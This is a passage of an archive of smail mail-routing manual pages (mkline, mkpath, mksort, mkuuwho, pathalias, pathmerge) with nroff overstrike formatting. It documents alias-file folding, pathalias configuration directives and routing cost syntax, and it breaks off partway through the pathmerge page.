12466 0ustar binbin MKLINE(8) MKLINE(8) NNAAMMEE mkline - fold an alias file, paths file or mailing list into one-line records SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkklliinnee [ --llttnn ] [ _f_i_l_e ... ] DDEESSCCRRIIPPTTIIOONN _M_k_l_i_n_e takes alias files, path files or mailing list files as input and produces output records containing one com- plete entry per line with all comments and whitespace replaced by zero or one spaces. One space is used if the concatenation of two tokens would otherwise cause ambigu- ity. For mailing lists, the --ll flag should be specified and the output will be a list of addresses. Otherwise, the input is assumed to be alias files or path files and the output is single line entries, with the key always separated from the data by a single colon character (``:''). If no input files are specified, the standard input is read. In addition, if a filename of -- is given, the stan- dard input is inserted at that point. If the --tt flag is specified, then an ASCII _T_A_B character separates key from data, rather than a colon character. If the --nn flag is specified, then keys are not extracted from the input, so that all tokens pass through unchanged, with comments and whitespace still being reduced to the minimum required for unambiguous tokens. The --tt and --nn flags have no effect when processing mailing lists. EEXXAAMMPPLLEESS If the file _a_l_i_a_s_e_s contains: Postmaster: hustead # Ted Hustead, jr. UUCP-Postmasters: tron, chongo # namei contacts yamato # kremvax contact tron: tron@namei.uucp (Ronald S. Karr) yamato: yamato@kremvax.ussr.comm (Yamato T. Yankelovich) chongo: chongo@eek.uts.amdahl.com (Landon Curt Noll) then the command _m_k_l_i_n_e _a_l_i_a_s_e_s will produce: Postmaster:hustead UUCP-Postmasters:tron,chongo yamato tron:tron@namei.uucp yamato:yamato@kremvax.ussr.comm chongo:chongo@eek.uts.amdahl.com As an example of using _m_k_l_i_n_e to compress mailing lists, Local 31 January 1988 1 MKLINE(8) MKLINE(8) consider the mailing list: tron@namei.uucp,tron@uts.amdahl.com # Ronald S. Karr yamato@kremvax.ussr.comm # Yamato T. Yankelovich chongo@eek.uts.amdahl.com # Landon Curt Noll Wilt . (the Stilt) Chamberlain@NBA.US # RFC822 doc example The command _m_k_l_i_n_e _-_l applied to this list will produce: tron@namei.uucp tron@uts.amdahl.com yamato@kremvax.ussr.comm chongo@eek.uts.amdahl.com Wilt.Chamberlain@NBA.US SSEEEE AALLSSOO _m_k_s_o_r_t(8), _m_k_d_b_m(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _p_a_t_h_a_l_i_a_s(8). CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/mkpath100644 3 3 36554 5575353410 12503 0ustar binbin MKPATH(8) MKPATH(8) NNAAMMEE mkpath - make a pathalias output file SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkkppaatthh [--vv] [--VV] [--xx] [--ee] [--nn] [ --tt _t_r_a_c_e ] [ _p_a_t_h___c_o_n_f_i_g ] //uussrr//lliibb//mmaaiill//ddccaasseehhoosstt [ --cc ] DDEESSCCRRIIPPTTIIOONN _M_k_p_a_t_h creates _p_a_t_h_a_l_i_a_s(8) output given a configuration file that describes the various sources of input that will be used in generating this output, and how these sources of input are to be used. The name of this configuration file is given as the _p_a_t_h___c_o_n_f_i_g argument. If _p_a_t_h___c_o_n_f_i_g is --, then a specification will be taken from the standard input. If _p_a_t_h___c_o_n_f_i_g is omitted, then the default speci- fication _/_u_s_r_/_l_i_b_/_m_a_i_l_/_m_a_p_s_/_m_k_p_a_t_h_._c_o_n_f is used. Unless redirected in the configuration file, path data is written to the standard output. _D_c_a_s_e_h_o_s_t converts the hostname in a stream of pathalias data to lower case. Normally, dcasehost assumes that the hostname is in the first field in each line, where a field is delimited by whitespace. If the --cc option is speci- fied, then the hostname is assumed to be in the second field. This is for compatibility with the --cc option to _p_a_t_h_a_l_i_a_s(8). See the pathalias man page for more infor- mation. The _d_c_a_s_e_h_o_s_t command is intended to be used only within the _m_k_p_a_t_h command. CCOONNFFIIGGUURRAATTIIOONN FFIILLEE FFOORRMMAATT The format of the path configuration file is a set of lines containing directives. Blank lines are ignored and the character ``#'' begins a comment which continues until the end of the line. The various possible directives are described below. In these directive descriptions, an argument of _a_r_g refers to one of the following types of arguments: '_l_i_t_e_r_a_l' Literal data specified inline. (single quotes) `_s_h_e_l_l_-_c_o_m_m_a_n_d` Take data from the standard output of this shell command. (back quotes) _f_i_l_e_n_a_m_e _._._. Take data from the named file or files. Files may be specified using shell glob- bing notation, with ** ?? and [[]]. The `_s_h_e_l_l_-_c_o_m_m_a_n_d` form preserves newlines and whitespace and is thus not entirely equivalent to usage in _s_h(1). Local 31 January 1988 1 MKPATH(8) MKPATH(8) The following lines result in the same input to pathalias: map `cat food` # ackpft! map food # oop ack! For the `_s_h_e_l_l_-_c_o_m_m_a_n_d` and '_l_i_t_e_r_a_l' forms, the filename used for error messages is _[_s_t_d_i_n_]. mmaapp _a_r_g Specify map data to be given as input to pathalias. Each file is preceded by a line containing: file { _p_a_t_h_n_a_m_e } where _p_a_t_h_n_a_m_e is the full pathname to the file. This will cause error messages from pathalias to refer to the correct file. Each file is followed by the line containing: private {} to force the end of scope for any pprriivvaattee direc- tives within the map files. ssaaffeemmaapp _a_r_g This is similar to the mmaapp directive, and can be used when you do not have sufficient control over what the files contain. If a map file contains the pathalias directives ddeelleettee and aaddjjuusstt, those directives are removed and flagged as errors, before the file is passed to pathalias. If a map file contains pathalias ffiillee directives, those directives are simply removed. No error message is produced in this case. ddeelleettee _a_r_g Specify hosts, links or networks which are to be deleted at this point. That is, all previous ref- erences to any of these items will be forgotten. aaddjjuusstt _a_r_g Specify hosts or networks that add on a surcharge to any route though them. By default, this sur- charge is 4000. Costs can also be added to each site as with pathalias. For example, the following is a valid adjust file: walldrug glotz # default surcharge of 4000 kgbvax(1000), kremvax(DEAD) # surcharge of 1000 & DEAD nsavax(FAST) # reduces cost, FAST < 0 Be careful when using negative adjust surcharges. The pathalias program will complain if a cost of a link drops below zero. Local 31 January 1988 2 MKPATH(8) MKPATH(8) ddeeaadd _a_r_g Specify hosts, links or networks which are to be assigned a cost of DEAD. tteexxtt _a_r_g Within an execution block, described in a later section, the given specified text is sent as the standard input to a pathalias command. Otherwise, it is written to the standard output for the _m_k_p_a_t_h command. ffiillee _f_i_l_e_n_a_m_e Set the file to be used by pathalias for error mes- sages, starting on the next line of pathalias input. The next line will be reported as if it came from the first line of the file _f_i_l_e_n_a_m_e. The ffiillee command does _n_o_t change where pathalias will read next, only what pathalias calls the line should an error occur. ccdd [ _d_i_r ] By default, the current directory used by _m_k_p_a_t_h begins in the directory of the configuration file, or in the current directory if the configuration is read from the standard input. The ccdd command with- out a _d_i_r argument changes to the directory from which _m_k_p_a_t_h was invoked. A _d_i_r arg of -- changes the directory to the default directory based on the name of the configuration file. Otherwise, _d_i_r becomes the current directory for file and shell command references. sshh _c_m_d The given shell command is executed. ppaatthhaalliiaass _f_l_a_g_s Process the pathalias input directives that have been collected since the last ppaatthhaalliiaass or ppaatthhssoorrtt directive and execute the _p_a_t_h_a_l_i_a_s(8) command with this input. The specified _f_l_a_g_s are given as argu- ments to pathalias. These flags can also contain i/o redirection, or pipes to other shell commands. For example, the following is an acceptable use of the ppaatthhaalliiaass directive: pathalias -l hostname | mkdbm -o paths ppaatthhssoorrtt [ _f_l_a_g_s ] This is equivalent to the following directive: pathalias -i -D | dcasehost | sort -T /tmp _f_l_a_g_s ... An example of a potentially useful ppaatthhssoorrtt direc- tive is: Local 31 January 1988 3 MKPATH(8) MKPATH(8) pathsort | sed 's/!foo!/!foobar!/' A ppaatthhssoorrtt directive is assumed to follow the end of a configuration file if an execution block is not terminated prior to the end of file. EEXXEECCUUTTIIOONN BBLLOOCCKKSS Directives are executed in blocks. A mmaapp, ssaaffeemmaapp, ddeelleettee, aaddjjuusstt, ddeeaadd or ffiillee directive starts a block. Successive directives continue it. A ppaatthhaalliiaass or ppaatthh-- ssoorrtt directive ends a block. The end of a file can end a block, generating an implicit ppaatthhssoorrtt directive. Encountering the end of a block normally results in the execution of a _p_a_t_h_a_l_i_a_s(8) command. The exception is when a end of block command is read when no block was started. In this case the block is ignored. When the start of a block is seen, all directives up to the end of the block are collected and fed into the resulting _p_a_t_h_a_l_i_a_s(8) command. Directives such as ccdd, sshh or tteexxtt within a block only effect that block. Therefore, a ccdd directive within a block will only change the direc- tory for the remainder of that block, whereas a ccdd direc- tive outside of a block has a global effect. Additionally a tteexxtt or sshh directive will feed its standard output into the block's pathalias command when it is inside a block, while a tteexxtt or sshh directive outside of a block will send its output direct to the standard output of the _m_k_p_a_t_h command. This later effect allows for the injection of literal pathalias output into the output stream. OOPPTTIIOONNSS The following options are recognized by _m_k_p_a_t_h: --vv The internal _s_h(1) commands are executed with a --vv option, thus echoing the commands that are piped to the shell prior to their being processed. --VV Tell any pathalias commands to produce verbose mes- sages. --xx Pass the --xx flag to invocations of the shell, caus- ing commands which are about to execute to be echoed. --ee Pass the --ee flag to invocations of the shell, caus- ing shells to exit whenever a command returns a non-zero exit status. In addition, the _m_k_p_a_t_h pro- gram will exit when it encounters a syntax error or unknown directive. --nn Disable the execution of any shell commands that Local 31 January 1988 4 MKPATH(8) MKPATH(8) _m_k_p_a_t_h generates. This is useful with the --vv option and disables the --xx, --ee and --VV options. --tt _t_r_a_c_e Cause the input to pathalias to be copied into the file _t_r_a_c_e. EEXXAAMMPPLLEESS Here is a simple example of a _m_k_p_a_t_h configuration file: # world.conf - configure our map setup to build world.map # get the usenet world maps cd /usr/spool/uumaps safemap [ud].* # merge in the new maps cd /usr/lib/smail/maps safemap newmap/*.map # delete our site and merge our private map data delete `uuname -l` map world.map private.map tweak.map This configuration file can be used for a UUCP gateway host: # Pathalias database for a UUCP gateway # map information is stored under this directory cd /usr/lib/smail # build paths to USENET hosts map usenet/[du].* # grab all published maps, start of block delete `uuname -l` # delete published references to our site dead dead # links and sites with cost of DEAD map ourmap # add our up-to-date map file pathsort > paths.global # end of block # build paths for our local domain map local.map # major domain info, start of block cd ../uts # cd only affects this block map domain.map # map for uts.amdahl.com domain adjust 'flaky' # add 4000 to routes thru _f_l_a_k_y adjust 'flako(HOURLY)' # add HOURLY to routes thru _f_l_a_k_o pathsort > paths.local # end of block # build a sorted forces file, from the source forces file sh mkline -t forces | dcasehost | sort -u +0 -1 > forces.sort # output paths and clean up sh pathmerge forces.sort paths.local paths.global sh rm -f forces.sort paths.local paths.global # cleanup Local 31 January 1988 5 MKPATH(8) MKPATH(8) SSEEEE AALLSSOO _p_a_t_h_a_l_i_a_s(8), _m_k_l_i_n_e(8), _m_k_d_b_m(8), _m_k_h_p_a_t_h(8), _m_k_u_u_w_h_o(8), _s_o_r_t(1), _s_h(1), _s_m_a_i_l(5), _s_m_a_i_l(8) and _p_a_t_h_m_e_r_g_e(8). BBUUGGSS The first ``#'' character on a line begins a comment regardless of whether or not it is within quotes. The --ee option does not stop all execution, only command execution within an instance of the shell created by _m_k_p_a_t_h. Continuation lines are not currently allowed in the con- figuration file. Each command must be on a single line. For errors reported by pathalias for input that came from the configuration file itself, the line number reported is likely to be incorrect, because the pathalias _f_i_l_e cannot be used to set a line number within the file. If both --VV and --tt are used, the --VV option must precede --tt .. CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 6 smail-doc/man8/mksort100644 3 3 6213 5575353421 12505 0ustar binbin MKSORT(8) MKSORT(8) NNAAMMEE mksort - sort the standard input, allowing arbitrarily long lines SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkkssoorrtt [ --ff ] [ _f_i_l_e ... ] DDEESSCCRRIIPPTTIIOONN _M_k_s_o_r_t takes lines as input, sorts them by the first field and writes them to the standard output. The first field is delimited by whitespace or by the colon character (:). The lines can be of any length, as long as the entire input can be stored in memory. With --ff the sort is per- formed independent of case, so that the letter ``A'' com- pares equal to the letter ``a'' and ``a'' is always less than ``B.'' If no input files are specified, the standard input is read. In addition, if a filename of -- is given, the stan- dard input is inserted at that point. The _m_k_s_o_r_t program can be used in combination with _m_k_l_i_n_e(8) to produce sorted files containing arbitrarily large aliases or paths which can then be read by a _s_m_a_i_l(8) pathalias router or aliasfile director. The router or director should be configured to use the _b_s_e_a_r_c_h file access protocol. See _s_m_a_i_l(5) for more information on routers and directors. EEXXAAMMPPLLEE As an example of the use of _m_k_s_o_r_t with _m_k_l_i_n_e consider a file, _a_l_i_a_s_e_s, containing the following aliasing informa- tion: Postmaster: hustead # Ted Hustead, jr. UUCP-Postmasters: tron, chongo # namei contacts yamato # kremvax contact tron: tron@namei.uucp (Ronald S. Karr) yamato: yamato@kremvax.ussr.comm (Yamato T. Yankelovich) chongo: chongo@eek.uts.amdahl.com (Landon Curt Noll) Given this file, the command _m_k_l_i_n_e _a_l_i_a_s_e_s _| _m_k_s_o_r_t _-_f will yield: chongo:chongo@eek.uts.amdahl.com Postmaster:hustead tron:tron@namei.uucp UUCP-Postmasters:tron,chongo yamato yamato:yamato@kremvax.ussr.comm SSEEEE AALLSSOO _m_k_l_i_n_e(8), _m_k_d_b_m(8), _s_m_a_i_l(5), _s_m_a_i_l(8), _p_a_t_h_a_l_i_a_s(8). Local 31 January 1988 1 MKSORT(8) MKSORT(8) CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 2 smail-doc/man8/mkuuwho100644 3 3 21607 5575353436 12717 0ustar binbin MKUUWHO(8) MKUUWHO(8) NNAAMMEE mkuuwho - make a database suitable for the uuwho command SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//mmkkuuuuwwhhoo [--vv] [--xx] [--ee] [--nn] [ --tt _t_r_a_c_e [ --uu _u_u_w_h_o___d_a_t_a_b_a_s_e ] [ _p_a_t_h___c_o_n_f_i_g ] DDEESSCCRRIIPPTTIIOONN _M_k_u_u_w_h_o is a modified version of the _m_k_p_a_t_h(8) utility, used for creating a database for use by the _u_u_w_h_o(1) com- mand. It reads a _m_k_p_a_t_h(8) configuration file and builds a DBM database named _u_u_w_h_o___d_a_t_a_b_a_s_e (by default a database named _/_u_s_r_/_l_i_b_/_m_a_i_l_/_u_u_w_h_o). This database is used by the _u_u_w_h_o command to determine where maps for specific sites or domains can be found. The configuration file is used to determine from which files, and in which order, map data should be used to create this DBM database. This command is currently available only on machines that have the _d_b_m(3X) library functions. If _p_a_t_h___c_o_n_f_i_g is --, then a specification will be taken from the standard input. If _p_a_t_h___c_o_n_f_i_g is omitted, then the default specification _/_u_s_r_/_l_i_b_/_m_a_i_l_/_m_a_p_s_/_m_k_p_a_t_h_._c_o_n_f is used. CCOONNFFIIGGUURRAATTIIOONN FFIILLEE FFOORRMMAATT The format of the path configuration file is a set of lines containing directives. Blank lines are ignored and the character ``#'' begins a comment which continues until the end of the line. The various possible directives are described below. In these directive descriptions, an argument of _a_r_g refers to one of the following types of arguments: '_l_i_t_e_r_a_l' Literal data specified inline. (single quotes) `_s_h_e_l_l_-_c_o_m_m_a_n_d` Take data from the standard output of this shell command. (back quotes) _f_i_l_e_n_a_m_e _._._. Take data from the named file or files. Files may be specified using shell glob- bing notation, with ** ?? and [[]]. The `_s_h_e_l_l_-_c_o_m_m_a_n_d` form preserves newlines and whitespace and is thus not entirely equivalent to usage in _s_h(1). The following lines result in the same input to _u_u_w_h_o_: map `cat food` # ackpft! map food # oop ack! For the `_s_h_e_l_l_-_c_o_m_m_a_n_d` and '_l_i_t_e_r_a_l' forms, the filename used for error messages is _[_s_t_d_i_n_]. Local 31 January 1988 1 MKUUWHO(8) MKUUWHO(8) mmaapp _a_r_g Specify map data to be given as input to uuwho. Each file is preceded by a line containing: file { _p_a_t_h_n_a_m_e } where _p_a_t_h_n_a_m_e is the full pathname to the file. This allows uuwho to know which from file the data was taken. ssaaffeemmaapp _a_r_g This is similar to the mmaapp directive, and can be used when you do not have sufficient control over what the files contain. If a map file contains pathalias ffiillee directives, those directives are ignored. ddeelleettee _a_r_g aaddjjuusstt _a_r_g ddeeaadd _a_r_g tteexxtt _a_r_g ffiillee _f_i_l_e_n_a_m_e These _m_k_p_a_t_h configuration file directives are ignored by _m_k_u_u_w_h_o. ccdd [ _d_i_r ] By default, the current directory used by _m_k_u_u_w_h_o begins in the directory of the configuration file, or in the current directory if the configuration is read from the standard input. The ccdd command with- out a _d_i_r argument changes to the directory from which _m_k_u_u_w_h_o was invoked. A _d_i_r arg of -- changes the directory to the default directory based on the name of the configuration file. Otherwise, _d_i_r becomes the current directory for file and shell command references. sshh _c_m_d The given shell command is executed. ppaatthhaalliiaass [ _f_l_a_g_s ] ppaatthhssoorrtt [ _f_l_a_g_s ] These directives end execution blocks (see the next section), but have no other side effects when pro- cessed by _m_k_u_u_w_h_o. EEXXEECCUUTTIIOONN BBLLOOCCKKSS Directives are executed in blocks. A mmaapp, ssaaffeemmaapp, ddeelleettee, aaddjjuusstt, ddeeaadd or ffiillee directive starts a block. Successive directives continue it. A ppaatthhaalliiaass or ppaatthh-- ssoorrtt directive ends a block. The end of a file can end a block. When the start of a block is seen, all directives up to the end of the block are collected and fed into the Local 31 January 1988 2 MKUUWHO(8) MKUUWHO(8) resulting _u_u_w_h_o(8) command. Directives such as ccdd or sshh within a block only effect that block. Therefore, a ccdd directive within a block will only change the directory for the remainder of that block, whereas a ccdd directive outside of a block has a global effect. Additionally an sshh directive will feed its standard output into the block's pathalias command when it is inside a block, while an sshh directive outside of a block will send its output direct to the standard output of the _m_k_u_u_w_h_o command. OOPPTTIIOONNSS The following options are recognized by _m_k_u_u_w_h_o: --vv The internal _s_h(1) commands are executed with a --vv option, thus echoing the commands that are piped to the shell prior to their being processed. --xx Pass the --xx flag to invocations of the shell, caus- ing commands which are about to execute to be echoed. --ee Pass the --ee flag to invocations of the shell, caus- ing shells to exit whenever a command returns a non-zero exit status. In addition, the _m_k_u_u_w_h_o program will exit when it encounters a syntax error or unknown directive. --nn Disable the execution of any shell commands that _m_k_u_u_w_h_o generates. This is useful with the --vv option and disables the --xx, --ee and --VV options. --tt _t_r_a_c_e Cause the input to pathalias to be copied into the file _t_r_a_c_e. --uu _u_u_w_h_o___d_a_t_a_b_a_s_e Cause the named DBM database to be created, rather than using the default name of _/_u_s_r_/_l_i_b_/_m_a_i_l_/_u_u_w_h_o. SSEEEE AALLSSOO _m_k_p_a_t_h(8), _u_u_w_h_o(1), _d_b_m(3X) and _s_h(1). BBUUGGSS The first ``#'' character on a line begins a comment regardless of whether or not it is within quotes. The --ee option does not stop all execution, only command execution within an instance of the shell created by _m_k_u_- _u_w_h_o. Continuation lines are not currently allowed in the con- figuration file. Each command must be on a single line. Local 31 January 1988 3 MKUUWHO(8) MKUUWHO(8) CCOOPPYYRRIIGGHHTT Copyright(C)1987, 1988 Ronald S. Karr and Landon Curt Noll Copyright(C)1992 Ronald S. Karr See a file COPYING, distributed with the source code, or type _s_m_a_i_l _-_b_c for distribution rights and restrictions associated with this software. Local 31 January 1988 4 smail-doc/man8/pathalias100644 3 3 37723 5575353453 13173 0ustar binbin PATHALIAS(8) PATHALIAS(8) NNAAMMEE pathalias, makedb, arpatxt - mail routing tools SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//ppaatthhaalliiaass [ --iivvccDDff ] [ --tt _l_i_n_k ] [ --ll _h_o_s_t ] [ --dd _l_i_n_k ] [ _f_i_l_e_s _._._. ] //uussrr//lliibb//mmaaiill//mmaakkeeddbb [ --aa ] [ --oo _d_b_m_f_i_l_e ] [ _f_i_l_e_s _._._. ] //uussrr//lliibb//mmaaiill//aarrppaattxxtt [ --@@ffii ] [ --gg _g_a_t_e_w_a_y ] [ --pp _p_r_i_- _v_a_t_e_f_i_l_e ] [ --dd _d_i_r_e_c_t_o_r_y ] [ _f_i_l_e_s _._._. ] DDEESSCCRRIIPPTTIIOONN _P_a_t_h_a_l_i_a_s computes the shortest paths and corresponding routes from one host (computer system) to all other known, reachable hosts. _P_a_t_h_a_l_i_a_s reads host-to-host connectiv- ity information on standard input or in the named _f_i_l_e_s, and writes a list of host-route pairs on the standard out- put. Here are the _p_a_t_h_a_l_i_a_s options: --ii Ignore case: map all host names to lower case. By default, case is significant. --cc Print costs: print the path cost before each host- route pair. --vv Verbose: report some statistics on the standard error output. --DD Terminal domains: see _d_o_m_a_i_n_s section. --ff First hop cost: the printed cost is the cost to the first relay in a path, instead of the cost of the path itself; implies (and overrides) the --cc option. --ll _h_o_s_t Set local host name to _h_o_s_t. By default, _p_a_t_h_a_l_i_a_s discovers the local host name in a system-dependent way. --dd _a_r_g Declare a dead link, host, or network. If _a_r_g is of the form ``host-1!host-2,'' the link from host-1 to host-2 is treated as an extremely high cost (_i_._e_., DEAD) link. If _a_r_g is a single host name, that host is treated as dead and is used as a relay host of last resort on any path. If _a_r_g is a network name, the network requires a gateway. --tt _a_r_g Trace input for link, host or network on the stan- dard error output. The form of _a_r_g is as above. Public Domain 5/9/88 1 PATHALIAS(8) PATHALIAS(8) _M_a_k_e_d_b takes _p_a_t_h_a_l_i_a_s output and creates or appends to a _d_b_m(3) database. Here are the _m_a_k_e_d_b options: --aa Append to an existing database; by default, _m_a_k_e_d_b truncates the database. --oo _d_b_m_f_i_l_e Identify the output file base name. _A_r_p_a_t_x_t converts the Internet hosts table _h_o_s_t_s_._t_x_t into _p_a_t_h_a_l_i_a_s input. Here are the _a_r_p_a_t_x_t options: --@@ Generate _p_a_t_h_a_l_i_a_s input that specifies `@' style addressing. The default is to produce _p_a_t_h_a_l_i_a_s input that specifies `!' style addressing. --ff ``Filter mode'' -- write output on stdout. Nor- mally, _a_r_p_a_t_x_t writes the description of each domain into a separate file. --ii Map output to lower case. --gg _a_r_g Declare a gateway to the Internet or one of its sub- domains. If _a_r_g contains one or more dots, the left-hand side component that contains no dots is declared a gateway to the domain to the right of the dot. Otherwise, _a_r_g is declared a gateway to the Internet as a whole. --pp _p_r_i_v_a_t_e_f_i_l_e _P_r_i_v_a_t_e_f_i_l_e contains a list of host names that con- flict with other names. --dd _d_i_r_e_c_t_o_r_y Write output files in _d_i_r_e_c_t_o_r_y. _P_a_t_h_a_l_i_a_s IInnppuutt FFoorrmmaatt A line beginning with white space continues the preceding line. Anything following `#' on an input line is ignored. A list of host-to-host connections consists of a ``from'' host in column 1, followed by white space, followed by a comma-separated list of ``to' hosts, called _l_i_n_k_s. A link may be preceded or followed by a network character to use in the route. Valid network characters are `!' (default), `@', `:', and `%'. A link (and network character, if pre- sent) may be followed by a ``cost'' enclosed in parenthe- ses. Costs may be arbitrary arithmetic expressions involving numbers, parentheses, `+', `-', `*', and `/'. Public Domain 5/9/88 2 PATHALIAS(8) PATHALIAS(8) Negative costs are prohibited. The following symbolic costs are recognized: LOCAL 25 (local-area network connection) DEDICATED 95 (high speed dedicated link) DIRECT 200 (toll-free call) DEMAND 300 (long-distance call) HOURLY 500 (hourly poll) EVENING 1800 (time restricted call) DAILY 5000 (daily poll, also called POLLED) WEEKLY 30000 (irregular poll) In addition, DEAD is a very large number (effectively infinite), HIGH and LOW are -5 and +5 respectively, for baud-rate or quality bonuses/penalties, and FAST is -80, for adjusting costs of links that use high-speed (9.6 Kbaud or more) modems. These symbolic costs represent an imperfect measure of bandwidth, monetary cost, and fre- quency of connections. For most mail traffic, it is important to minimize the number of hosts in a route, thus, _e_._g_., HOURLY * 24 is much larger than DAILY. If no cost is given, a default of 4000 is used. For the most part, arithmetic expressions that mix sym- bolic constants other than HIGH, LOW, and FAST make no sense. _E_._g_., if a host calls a local neighbor whenever there is work, and additionally polls every evening, the cost is DIRECT, nnoott DIRECT+EVENING. Some examples: down princeton!(DEDICATED), tilt, %thrash(LOCAL) princeton topaz!(DEMAND+LOW) topaz @rutgers(LOCAL+1) If a link is encountered more than once, the least-cost occurrence dictates the cost and network character. Links are treated as bidirectional but asymmetric: for each link declared in the input, a DEAD reverse link is assumed. If the ``to'' host in a link is surrounded by angle brack- ets, the link is considered _t_e_r_m_i_n_a_l, and further links beyond this one are heavily penalized. _E_._g_., with input seismo (10), research(100), ihnp4(10) research allegra(10) ihnp4 allegra(50) the path from seismo to research is direct, but the path from seismo to allegra uses ihnp4 as a relay, not research. The set of names by which a host is known to its neighbors Public Domain 5/9/88 3 PATHALIAS(8) PATHALIAS(8) is called its _a_l_i_a_s_e_s. Aliases are declared as follows: name = alias, alias ... The name used in the route to or through aliased hosts is the name by which the host is known to its predecessor in the route. Fully connected networks, such as the ARPANET or a local- area network, are declared as follows: net = {host, host, ...} The host-list may be preceded or followed by a routing character (`!' default), and may be followed by a cost (default 4000). The network name is optional; if not given, _p_a_t_h_a_l_i_a_s makes one up. etherhosts = {rahway, milan, joliet}!(LOCAL) ringhosts = @{gimli, alida, almo}(DEDICATED) = {etherhosts, ringhosts}(0) The routing character used in a route to a network member is the one encountered when ``entering'' the network. See also the sections on _g_a_t_e_w_a_y_s and _d_o_m_a_i_n_s _. Connection data may be given while hiding host names by declaring private {host, host, ...} _P_a_t_h_a_l_i_a_s will not generate routes for private hosts, but may produce routes through them. The scope of a private declaration extends from the declaration to the end of the input file in which it appears, or to a private declara- tion with an empty host list, whichever comes first. The latter scope rule offers a way to retain the semantics of private declarations when reading from the standard input. Dead hosts, links, or networks may be presented in the input stream by declaring dead {arg, ...} where _a_r_g has the same form as the argument to the --dd option. To force a specific cost for a link, delete all prior dec- larations with delete {host-1!host-2} and declare the link as desired. To delete a host and all its links, use Public Domain 5/9/88 4 PATHALIAS(8) PATHALIAS(8) delete {host} Error diagnostics refer to the file in which the error was found. To alter the file name, use file {filename} Fine-tuning is possible by adjusting the weights of all links from a given host, as in adjust {host-1, host-2(LOW), host-3(-1)} If no cost is given a default of 4000 is used. Input from compressed (and uncompressed) files can be piped into _p_a_t_h_a_l_i_a_s with the following script. for i in $*; do case $i in *.Z) echo "file {`expr $i : '.Z'`} zcat $i ;; *) echo "file {$i}" cat $i ;; esac echo "private {}" done OOuuttppuutt FFoorrmmaatt A list of host-route pairs is written to the standard out- put, where route is a string appropriate for use with _p_r_i_n_t_f(3), _e_._g_., rutgers princeton!topaz!%s@rutgers The ``%s'' in the route string should be replaced by the user name at the destination host. (This task is normally performed by a mailer.) Except for _d_o_m_a_i_n_s, the name of a network is never used in routes. Thus, in the earlier example, the path from down to up would be ``up!%s,'' not ``princeton- ethernet!up!%s.'' GGaatteewwaayyss A network is represented by a pseudo-host and a set of network members. Links from the members to the network have the weight given in the input, while the cost from the network to the members is zero. If a network is declared dead, the member-to-network links are marked dead, which effectively prohibits access to the network from its members. However, if the input also shows an explicit link from any Public Domain 5/9/88 5 PATHALIAS(8) PATHALIAS(8) host to the network, then that host can be used as a gate- way. (In particular, the gateway need not be a network member.) _E_._g_., if CSNET is declared dead and the input contains CSNET = {...} csnet-relay CSNET then routes to CSNET hosts will use csnet-relay as a gate- way. DDoommaaiinnss A network whose name begins with `.' is called a domain. Domains are presumed to require gateways, _i_._e_., they are DEAD. The route given by a path through a domain is simi- lar to that for a network, but here the domain name is tacked onto the end of the next host. Subdomains are per- mitted. _E_._g_., harvard .EDU # harvard is gateway to .EDU domain .EDU = {.BERKELEY, .UMICH} .BERKELEY = {ernie} yields ernie ...!harvard!ernie.BERKELEY.EDU!%s Output is given for the nearest gateway to a domain, _e_._g_., the example above gives .EDU ...!harvard!%s Output is given for a subdomain if it has a different route than its parent domain, or if all its ancestor domains are private. If the --DD option is given on the command line, _p_a_t_h_a_l_i_a_s treats a link from a domain to a host member of that domain as terminal. This property extends to host members of subdomains, _e_t_c, and discourages routes that use any domain member as a relay. DDaattaabbaasseess _M_a_k_e_d_b builds a _d_b_m(3) database from the standard input or from the named _f_i_l_e_s. Input is expected to be sequence of ASCII records, each consisting of a key field and a data field separated by a single tab. If the tab is missing, the data field is assumed to be empty. FFIILLEESS EETT AALL.. /usr/local/lib/palias.{dir,pag} default dbm output Public Domain 5/9/88 6 PATHALIAS(8) PATHALIAS(8) newsgroup comp.mail.maps likely location of some input files _g_e_t_o_p_t(3), available from comp.sources.unix archives (if not in the C library). BBUUGGSS The --ii option should be the default. The order of arguments is significant. In particular, --ii and --tt should appear early. _P_a_t_h_a_l_i_a_s can generate hybrid (_i_._e_. ambiguous) routes, which are abhorrent and most certainly should not be given as examples in the manual entry. Experienced mappers largely shun `@' when preparing input; this is historical, but also reflects UUCP's facile syntax for source routes. Multiple `@'s in routes are loathsome, so _p_a_t_h_a_l_i_a_s resorts to the ``magic %'' rule when necessary. This con- vention is not documented anywhere, including here. The --DD option elides insignificant routes to domain mem- bers. This is benign, perhaps even beneficial, but con- fusing, since the behavior is undocumented and somewhat unpredictable. SSEEEE AALLSSOO P. Honeyman and S.M. Bellovin, ``PATHALIAS _o_r The Care and Feeding of Relative Addresses,'' in _P_r_o_c_. _S_u_m_m_e_r _U_S_E_N_I_X _C_o_n_f_., Atlanta, 1986. Public Domain 5/9/88 7 smail-doc/man8/pathmerge100644 3 3 4777 5575353465 13167 0ustar binbin PATHMERGE(8) PATHMERGE(8) NNAAMMEE pathmerge - merge sorted paths files SSYYNNOOPPSSIISS //uussrr//lliibb//mmaaiill//ppaatthhmmeerrggee _f_i_l_e _._._. DDEESSCCRRIIPPTTIIOONN _P_a_t_h_m_e_r_g_e takes a set of sorted path files, as produced by _p_a_t_h_a_l_i_a_s(8), and generates on the standard output a merge of the path information, with one path given for each hostname. Precedence for paths goes to the files given earlier in the argument list. One of the filenames given in the argument list can be -- to specify the standard input. As an example of the use of pathmerge, let's 